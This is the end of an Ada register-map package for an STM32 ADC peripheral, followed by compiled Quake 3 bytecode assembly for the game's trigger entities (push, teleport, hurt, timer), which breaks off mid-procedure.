-- ADC Calibration Factor register 2
CALFACT2 : aliased CALFACT2_Register;
end record
with Volatile;
for ADC1_Peripheral use record
ISR at 16#0# range 0 .. 31;
IER at 16#4# range 0 .. 31;
CR at 16#8# range 0 .. 31;
CFGR at 16#C# range 0 .. 31;
CFGR2 at 16#10# range 0 .. 31;
SMPR1 at 16#14# range 0 .. 31;
SMPR2 at 16#18# range 0 .. 31;
PCSEL at 16#1C# range 0 .. 31;
LTR1 at 16#20# range 0 .. 31;
HTR1 at 16#24# range 0 .. 31;
SQR1 at 16#30# range 0 .. 31;
SQR2 at 16#34# range 0 .. 31;
SQR3 at 16#38# range 0 .. 31;
SQR4 at 16#3C# range 0 .. 31;
DR at 16#40# range 0 .. 31;
JSQR at 16#4C# range 0 .. 31;
OFR1 at 16#60# range 0 .. 31;
OFR2 at 16#64# range 0 .. 31;
OFR3 at 16#68# range 0 .. 31;
OFR4 at 16#6C# range 0 .. 31;
JDR1 at 16#80# range 0 .. 31;
JDR2 at 16#84# range 0 .. 31;
JDR3 at 16#88# range 0 .. 31;
JDR4 at 16#8C# range 0 .. 31;
AWD2CR at 16#A0# range 0 .. 31;
AWD3CR at 16#A4# range 0 .. 31;
LTR2 at 16#B0# range 0 .. 31;
HTR2 at 16#B4# range 0 .. 31;
LTR3 at 16#B8# range 0 .. 31;
HTR3 at 16#BC# range 0 .. 31;
DIFSEL at 16#C0# range 0 .. 31;
CALFACT at 16#C4# range 0 .. 31;
CALFACT2 at 16#C8# range 0 .. 31;
end record;
-- Analog to Digital Converter
ADC1_Periph : aliased ADC1_Peripheral
with Import, Address => ADC1_Base;
-- Analog to Digital Converter
ADC2_Periph : aliased ADC1_Peripheral
with Import, Address => ADC2_Base;
-- Analog to Digital Converter
ADC3_Periph : aliased ADC1_Peripheral
with Import, Address => ADC3_Base;
-- Analog-to-Digital Converter
type ADC12_Common_Peripheral is record
-- ADC Common status register
CSR : aliased CSR_Register;
-- ADC common control register
CCR : aliased CCR_Register;
-- ADC common regular data register for dual and triple modes
CDR : aliased CDR_Register;
-- ADC x common regular data register for 32-bit dual mode
CDR2 : aliased HAL.UInt32;
end record
with Volatile;
for ADC12_Common_Peripheral use record
CSR at 16#0# range 0 .. 31;
CCR at 16#8# range 0 .. 31;
CDR at 16#C# range 0 .. 31;
CDR2 at 16#10# range 0 .. 31;
end record;
-- Analog-to-Digital Converter
ADC12_Common_Periph : aliased ADC12_Common_Peripheral
with Import, Address => ADC12_Common_Base;
-- Analog-to-Digital Converter
ADC3_Common_Periph : aliased ADC12_Common_Peripheral
with Import, Address => ADC3_Common_Base;
end STM32_SVD.ADC;
|
ioq3/build/release-js-js/baseq3/game/g_trigger.asm | RawTechnique/quake-port | 1 | 98985 | <gh_stars>1-10
export InitTrigger
code
proc InitTrigger 12 8
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 116
ADDP4
ARGP4
ADDRGP4 vec3_origin
ARGP4
ADDRLP4 0
ADDRGP4 VectorCompare
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 0
NEI4 $54
ADDRFP4 0
INDIRP4
CNSTI4 116
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 672
ADDP4
ARGP4
ADDRGP4 G_SetMovedir
CALLV
pop
LABELV $54
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 540
ADDP4
INDIRP4
ARGP4
ADDRGP4 trap_SetBrushModel
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 460
ADDP4
CNSTI4 1073741824
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 1
ASGNI4
LABELV $53
endproc InitTrigger 12 8
export multi_wait
proc multi_wait 0 0
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
CNSTI4 0
ASGNI4
LABELV $56
endproc multi_wait 0 0
export multi_trigger
proc multi_trigger 12 8
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
ADDRFP4 4
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 768
ADDP4
ADDRFP4 4
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
INDIRI4
CNSTI4 0
EQI4 $58
ADDRGP4 $57
JUMPV
LABELV $58
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $60
ADDRLP4 0
CNSTI4 1
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
ADDRLP4 0
INDIRI4
BANDI4
CNSTI4 0
EQI4 $62
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 616
ADDP4
INDIRI4
ADDRLP4 0
INDIRI4
EQI4 $62
ADDRGP4 $57
JUMPV
LABELV $62
ADDRLP4 4
CNSTI4 2
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
ADDRLP4 4
INDIRI4
BANDI4
CNSTI4 0
EQI4 $64
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 616
ADDP4
INDIRI4
ADDRLP4 4
INDIRI4
EQI4 $64
ADDRGP4 $57
JUMPV
LABELV $64
LABELV $60
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 768
ADDP4
INDIRP4
ARGP4
ADDRGP4 G_UseTargets
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
CNSTF4 0
LEF4 $66
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 multi_wait
ASGNP4
ADDRLP4 4
ADDRGP4 qk_rand
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CVIF4 4
CNSTF4 1148846080
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
INDIRF4
CNSTF4 1073741824
ADDRLP4 4
INDIRI4
CNSTI4 32767
BANDI4
CVIF4 4
CNSTF4 1191181824
DIVF4
CNSTF4 1056964608
SUBF4
MULF4
MULF4
ADDF4
MULF4
ADDF4
CVFI4 4
ASGNI4
ADDRGP4 $67
JUMPV
LABELV $66
ADDRFP4 0
INDIRP4
CNSTI4 700
ADDP4
CNSTP4 0
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 100
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 G_FreeEntity
ASGNP4
LABELV $67
LABELV $57
endproc multi_trigger 12 8
export Use_Multi
proc Use_Multi 0 8
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 8
INDIRP4
ARGP4
ADDRGP4 multi_trigger
CALLV
pop
LABELV $70
endproc Use_Multi 0 8
export Touch_Multi
proc Touch_Multi 0 8
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $72
ADDRGP4 $71
JUMPV
LABELV $72
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 4
INDIRP4
ARGP4
ADDRGP4 multi_trigger
CALLV
pop
LABELV $71
endproc Touch_Multi 0 8
export SP_trigger_multiple
proc SP_trigger_multiple 12 12
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRGP4 $75
ARGP4
ADDRGP4 $76
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
ARGP4
ADDRGP4 G_SpawnFloat
CALLI4
pop
ADDRGP4 $77
ARGP4
ADDRGP4 $78
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
ARGP4
ADDRGP4 G_SpawnFloat
CALLI4
pop
ADDRLP4 4
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
INDIRF4
ADDRLP4 4
INDIRF4
LTF4 $79
ADDRLP4 4
INDIRF4
CNSTF4 0
LTF4 $79
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
CNSTF4 1120403456
SUBF4
ASGNF4
ADDRGP4 $81
ARGP4
ADDRGP4 G_Printf
CALLV
pop
LABELV $79
ADDRFP4 0
INDIRP4
CNSTI4 700
ADDP4
ADDRGP4 Touch_Multi
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 704
ADDP4
ADDRGP4 Use_Multi
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 InitTrigger
CALLV
pop
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $74
endproc SP_trigger_multiple 12 12
export trigger_always_think
proc trigger_always_think 4 8
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 G_UseTargets
CALLV
pop
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 G_FreeEntity
CALLV
pop
LABELV $82
endproc trigger_always_think 4 8
export SP_trigger_always
proc SP_trigger_always 0 0
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 300
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 trigger_always_think
ASGNP4
LABELV $83
endproc SP_trigger_always 0 0
export trigger_push_touch
proc trigger_push_touch 0 8
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $86
ADDRGP4 $85
JUMPV
LABELV $86
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 BG_TouchJumpPad
CALLV
pop
LABELV $85
endproc trigger_push_touch 0 8
export AimAtTarget
proc AimAtTarget 72 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
ADDRFP4 0
INDIRP4
CNSTI4 464
ADDP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 476
ADDP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 0+4
ADDRFP4 0
INDIRP4
CNSTI4 468
ADDP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 480
ADDP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 0+8
ADDRFP4 0
INDIRP4
CNSTI4 472
ADDP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 484
ADDP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 44
CNSTF4 1056964608
ASGNF4
ADDRLP4 0
ADDRLP4 44
INDIRF4
ADDRLP4 0
INDIRF4
MULF4
ASGNF4
ADDRLP4 0+4
ADDRLP4 44
INDIRF4
ADDRLP4 0+4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0+8
CNSTF4 1056964608
ADDRLP4 0+8
INDIRF4
MULF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 644
ADDP4
INDIRP4
ARGP4
ADDRLP4 48
ADDRGP4 G_PickTarget
CALLP4
ASGNP4
ADDRLP4 12
ADDRLP4 48
INDIRP4
ASGNP4
ADDRLP4 12
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $95
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 G_FreeEntity
CALLV
pop
ADDRGP4 $88
JUMPV
LABELV $95
ADDRLP4 28
ADDRLP4 12
INDIRP4
CNSTI4 100
ADDP4
INDIRF4
ADDRLP4 0+8
INDIRF4
SUBF4
ASGNF4
ADDRLP4 24
ADDRGP4 g_gravity+8
INDIRF4
ASGNF4
ADDRLP4 28
INDIRF4
CNSTF4 1056964608
ADDRLP4 24
INDIRF4
MULF4
DIVF4
ARGF4
ADDRLP4 52
ADDRGP4 qk_sqrt
CALLF4
ASGNF4
ADDRLP4 16
ADDRLP4 52
INDIRF4
ASGNF4
ADDRLP4 16
INDIRF4
CNSTF4 0
NEF4 $99
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 G_FreeEntity
CALLV
pop
ADDRGP4 $88
JUMPV
LABELV $99
ADDRFP4 0
INDIRP4
CNSTI4 104
ADDP4
ADDRLP4 12
INDIRP4
CNSTI4 92
ADDP4
INDIRF4
ADDRLP4 0
INDIRF4
SUBF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 108
ADDP4
ADDRLP4 12
INDIRP4
CNSTI4 96
ADDP4
INDIRF4
ADDRLP4 0+4
INDIRF4
SUBF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 112
ADDP4
ADDRLP4 12
INDIRP4
CNSTI4 100
ADDP4
INDIRF4
ADDRLP4 0+8
INDIRF4
SUBF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 112
ADDP4
CNSTF4 0
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 104
ADDP4
ARGP4
ADDRLP4 56
ADDRGP4 VectorNormalize
CALLF4
ASGNF4
ADDRLP4 32
ADDRLP4 56
INDIRF4
ASGNF4
ADDRLP4 20
ADDRLP4 32
INDIRF4
ADDRLP4 16
INDIRF4
DIVF4
ASGNF4
ADDRLP4 60
ADDRFP4 0
INDIRP4
CNSTI4 104
ADDP4
ASGNP4
ADDRLP4 60
INDIRP4
ADDRLP4 60
INDIRP4
INDIRF4
ADDRLP4 20
INDIRF4
MULF4
ASGNF4
ADDRLP4 64
ADDRFP4 0
INDIRP4
CNSTI4 108
ADDP4
ASGNP4
ADDRLP4 64
INDIRP4
ADDRLP4 64
INDIRP4
INDIRF4
ADDRLP4 20
INDIRF4
MULF4
ASGNF4
ADDRLP4 68
ADDRFP4 0
INDIRP4
CNSTI4 112
ADDP4
ASGNP4
ADDRLP4 68
INDIRP4
ADDRLP4 68
INDIRP4
INDIRF4
ADDRLP4 20
INDIRF4
MULF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 112
ADDP4
ADDRLP4 16
INDIRF4
ADDRLP4 24
INDIRF4
MULF4
ASGNF4
LABELV $88
endproc AimAtTarget 72 4
export SP_trigger_push
proc SP_trigger_push 4 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 InitTrigger
CALLV
pop
ADDRLP4 0
ADDRFP4 0
INDIRP4
CNSTI4 424
ADDP4
ASGNP4
ADDRLP4 0
INDIRP4
ADDRLP4 0
INDIRP4
INDIRI4
CNSTI4 -2
BANDI4
ASGNI4
ADDRGP4 $104
ARGP4
ADDRGP4 G_SoundIndex
CALLI4
pop
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 8
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 700
ADDP4
ADDRGP4 trigger_push_touch
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 AimAtTarget
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 100
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $103
endproc SP_trigger_push 4 4
export Use_target_push
proc Use_target_push 0 12
ADDRFP4 8
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 8
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $107
ADDRGP4 $106
JUMPV
LABELV $107
ADDRFP4 8
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
CNSTI4 0
EQI4 $109
ADDRGP4 $106
JUMPV
LABELV $109
ADDRFP4 8
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 336
ADDP4
INDIRI4
CNSTI4 0
EQI4 $111
ADDRGP4 $106
JUMPV
LABELV $111
ADDRFP4 8
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 32
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 104
ADDP4
INDIRB
ASGNB 12
ADDRFP4 8
INDIRP4
CNSTI4 720
ADDP4
INDIRI4
ADDRGP4 level+32
INDIRI4
GEI4 $113
ADDRFP4 8
INDIRP4
CNSTI4 720
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 1500
ADDI4
ASGNI4
ADDRFP4 8
INDIRP4
ARGP4
CNSTI4 0
ARGI4
ADDRFP4 0
INDIRP4
CNSTI4 788
ADDP4
INDIRI4
ARGI4
ADDRGP4 G_Sound
CALLV
pop
LABELV $113
LABELV $106
endproc Use_target_push 0 12
export SP_target_push
proc SP_target_push 36 8
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 668
ADDP4
INDIRF4
CNSTF4 0
NEF4 $118
ADDRFP4 0
INDIRP4
CNSTI4 668
ADDP4
CNSTF4 1148846080
ASGNF4
LABELV $118
ADDRFP4 0
INDIRP4
CNSTI4 116
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 104
ADDP4
ARGP4
ADDRGP4 G_SetMovedir
CALLV
pop
ADDRLP4 8
ADDRFP4 0
INDIRP4
CNSTI4 104
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ADDRLP4 8
INDIRP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 668
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 16
ADDRFP4 0
INDIRP4
CNSTI4 108
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
ADDRLP4 16
INDIRP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 668
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 24
ADDRFP4 0
INDIRP4
CNSTI4 112
ADDP4
ASGNP4
ADDRLP4 24
INDIRP4
ADDRLP4 24
INDIRP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 668
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 1
BANDI4
CNSTI4 0
EQI4 $120
ADDRGP4 $104
ARGP4
ADDRLP4 28
ADDRGP4 G_SoundIndex
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 788
ADDP4
ADDRLP4 28
INDIRI4
ASGNI4
ADDRGP4 $121
JUMPV
LABELV $120
ADDRGP4 $122
ARGP4
ADDRLP4 28
ADDRGP4 G_SoundIndex
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 788
ADDP4
ADDRLP4 28
INDIRI4
ASGNI4
LABELV $121
ADDRFP4 0
INDIRP4
CNSTI4 644
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $123
ADDRFP4 0
INDIRP4
CNSTI4 464
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 92
ADDP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRP4
CNSTI4 476
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 92
ADDP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 AimAtTarget
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 100
ADDI4
ASGNI4
LABELV $123
ADDRFP4 0
INDIRP4
CNSTI4 704
ADDP4
ADDRGP4 Use_target_push
ASGNP4
LABELV $117
endproc SP_target_push 36 8
export trigger_teleporter_touch
proc trigger_teleporter_touch 12 12
ADDRFP4 4
ADDRFP4 4
INDIRP4
ASGNP4
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $127
ADDRGP4 $126
JUMPV
LABELV $127
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
CNSTI4 3
NEI4 $129
ADDRGP4 $126
JUMPV
LABELV $129
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 1
BANDI4
CNSTI4 0
EQI4 $131
ADDRFP4 4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 616
ADDP4
INDIRI4
CNSTI4 3
EQI4 $131
ADDRGP4 $126
JUMPV
LABELV $131
ADDRFP4 0
INDIRP4
CNSTI4 644
ADDP4
INDIRP4
ARGP4
ADDRLP4 4
ADDRGP4 G_PickTarget
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 4
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $133
ADDRGP4 $135
ARGP4
ADDRGP4 G_Printf
CALLV
pop
ADDRGP4 $126
JUMPV
LABELV $133
ADDRFP4 4
INDIRP4
ARGP4
ADDRLP4 0
INDIRP4
CNSTI4 92
ADDP4
ARGP4
ADDRLP4 0
INDIRP4
CNSTI4 116
ADDP4
ARGP4
ADDRGP4 TeleportPlayer
CALLV
pop
LABELV $126
endproc trigger_teleporter_touch 12 12
export SP_trigger_teleport
proc SP_trigger_teleport 4 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 InitTrigger
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 1
BANDI4
CNSTI4 0
EQI4 $137
ADDRLP4 0
ADDRFP4 0
INDIRP4
CNSTI4 424
ADDP4
ASGNP4
ADDRLP4 0
INDIRP4
ADDRLP4 0
INDIRP4
INDIRI4
CNSTI4 1
BORI4
ASGNI4
ADDRGP4 $138
JUMPV
LABELV $137
ADDRLP4 0
ADDRFP4 0
INDIRP4
CNSTI4 424
ADDP4
ASGNP4
ADDRLP4 0
INDIRP4
ADDRLP4 0
INDIRP4
INDIRI4
CNSTI4 -2
BANDI4
ASGNI4
LABELV $138
ADDRGP4 $104
ARGP4
ADDRGP4 G_SoundIndex
CALLI4
pop
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 9
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 700
ADDP4
ADDRGP4 trigger_teleporter_touch
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $136
endproc SP_trigger_teleport 4 4
export hurt_use
proc hurt_use 0 4
ADDRFP4 0
INDIRP4
CNSTI4 416
ADDP4
INDIRI4
CNSTI4 0
EQI4 $140
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_UnlinkEntity
CALLV
pop
ADDRGP4 $141
JUMPV
LABELV $140
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $141
LABELV $139
endproc hurt_use 0 4
export hurt_touch
proc hurt_touch 12 32
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
INDIRP4
CNSTI4 732
ADDP4
INDIRI4
CNSTI4 0
NEI4 $143
ADDRGP4 $142
JUMPV
LABELV $143
ADDRFP4 0
INDIRP4
CNSTI4 640
ADDP4
INDIRI4
ADDRGP4 level+32
INDIRI4
LEI4 $145
ADDRGP4 $142
JUMPV
LABELV $145
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 16
BANDI4
CNSTI4 0
EQI4 $148
ADDRFP4 0
INDIRP4
CNSTI4 640
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 1000
ADDI4
ASGNI4
ADDRGP4 $149
JUMPV
LABELV $148
ADDRFP4 0
INDIRP4
CNSTI4 640
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 100
ADDI4
ASGNI4
LABELV $149
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 4
BANDI4
CNSTI4 0
NEI4 $152
ADDRFP4 4
INDIRP4
ARGP4
CNSTI4 0
ARGI4
ADDRFP4 0
INDIRP4
CNSTI4 788
ADDP4
INDIRI4
ARGI4
ADDRGP4 G_Sound
CALLV
pop
LABELV $152
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 8
BANDI4
CNSTI4 0
EQI4 $154
ADDRLP4 0
CNSTI4 8
ASGNI4
ADDRGP4 $155
JUMPV
LABELV $154
ADDRLP4 0
CNSTI4 0
ASGNI4
LABELV $155
ADDRFP4 4
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRLP4 8
CNSTP4 0
ASGNP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 736
ADDP4
INDIRI4
ARGI4
ADDRLP4 0
INDIRI4
ARGI4
CNSTI4 22
ARGI4
ADDRGP4 G_Damage
CALLV
pop
LABELV $142
endproc hurt_touch 12 32
export SP_trigger_hurt
proc SP_trigger_hurt 4 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 InitTrigger
CALLV
pop
ADDRGP4 $157
ARGP4
ADDRLP4 0
ADDRGP4 G_SoundIndex
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 788
ADDP4
ADDRLP4 0
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 700
ADDP4
ADDRGP4 hurt_touch
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 736
ADDP4
INDIRI4
CNSTI4 0
NEI4 $158
ADDRFP4 0
INDIRP4
CNSTI4 736
ADDP4
CNSTI4 5
ASGNI4
LABELV $158
ADDRFP4 0
INDIRP4
CNSTI4 704
ADDP4
ADDRGP4 hurt_use
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 1
BANDI4
CNSTI4 0
EQI4 $160
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_UnlinkEntity
CALLV
pop
ADDRGP4 $161
JUMPV
LABELV $160
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $161
LABELV $156
endproc SP_trigger_hurt 4 4
export func_timer_think
proc func_timer_think 12 8
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 768
ADDP4
INDIRP4
ARGP4
ADDRGP4 G_UseTargets
CALLV
pop
ADDRLP4 4
ADDRGP4 qk_rand
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CVIF4 4
CNSTF4 1148846080
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
CNSTF4 1073741824
ADDRLP4 4
INDIRI4
CNSTI4 32767
BANDI4
CVIF4 4
CNSTF4 1191181824
DIVF4
CNSTF4 1056964608
SUBF4
MULF4
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
INDIRF4
MULF4
ADDF4
MULF4
ADDF4
CVFI4 4
ASGNI4
LABELV $162
endproc func_timer_think 12 8
export func_timer_use
proc func_timer_use 0 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 768
ADDP4
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
INDIRI4
CNSTI4 0
EQI4 $165
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
CNSTI4 0
ASGNI4
ADDRGP4 $164
JUMPV
LABELV $165
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 func_timer_think
CALLV
pop
LABELV $164
endproc func_timer_use 0 4
export SP_func_timer
proc SP_func_timer 12 12
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRGP4 $77
ARGP4
ADDRGP4 $168
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
ARGP4
ADDRGP4 G_SpawnFloat
CALLI4
pop
ADDRGP4 $75
ARGP4
ADDRGP4 $168
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
ARGP4
ADDRGP4 G_SpawnFloat
CALLI4
pop
ADDRFP4 0
INDIRP4
CNSTI4 704
ADDP4
ADDRGP4 func_timer_use
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 func_timer_think
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
INDIRF4
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
LTF4 $169
ADDRFP4 0
INDIRP4
CNSTI4 796
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 792
ADDP4
INDIRF4
CNSTF4 1120403456
SUBF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 92
ADDP4
ARGP4
ADDRLP4 8
ADDRGP4 vtos
CALLP4
ASGNP4
ADDRGP4 $171
ARGP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRGP4 G_Printf
CALLV
pop
LABELV $169
ADDRFP4 0
INDIRP4
CNSTI4 528
ADDP4
INDIRI4
CNSTI4 1
